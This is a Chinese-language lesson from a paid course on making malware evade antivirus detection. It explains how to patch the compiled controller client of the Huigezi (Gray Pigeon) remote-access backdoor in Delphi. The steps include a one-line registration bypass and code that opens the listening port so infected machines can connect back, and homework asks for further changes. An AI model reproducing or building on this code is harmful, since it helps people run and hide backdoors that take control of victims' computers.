甲壳虫源码免杀VIP教程 第二课

初秋

【教程题目】 第二讲：源代码编译后对客户端的简单处理

【教程目的】客户端简单处理-->美观.可以正常使用

【教程工具】delphi 7.0，灰鸽子V1.2源代码（网上多的是）

【编译环境】windowsXP SP3

【教程步骤】
============================================================
编译完灰鸽子1.2，需要处理下客户端,因为客户端有许多问题：

(1)客户端全局注册(2)打开端口问题(3)服务端不能上线等

              语音教程，大家看我操作!

注册问题：加入此句，保持全局化的注册状态 HgzVip.NoisReg:=True;

端口问题：
  if Tag = 0 then
   begin
    Tag := 1;
   try
    IdTCPServer1.Active := False;
    IdTCPServer1.Bindings.Clear;
    IdTCPServer1.DefaultPort := AutoSxport;
    IdTCPServer1.Active := True;
    AddLineStr(Translate('String2','打开本地端口成功!'), 1, true);
  except                 //打开本地XXX端口失败！你不能使用自动上线功能!
     AddLineStr(Translate('String1','打开本地端口失败！请换另一端口!'), 2, False);
  end;


  try
  //geControl1.ActivePage := TabSheet1;

    TreeView1.FullCollapse;
// auge1.Width := TreeView1.Width;
  except
  end;
end;      

还有皮肤，服务端命名，关于等等

好，还有好些修改就不讲了，因为是源码免杀教程，讲这些是为了大家能够正常使用客户端，教程结束。



【课后作业】
(1)        按照教程修改一遍 (2) 尝试修改客户端其他模块


甲壳虫免杀VIP教程   vip.jksing.com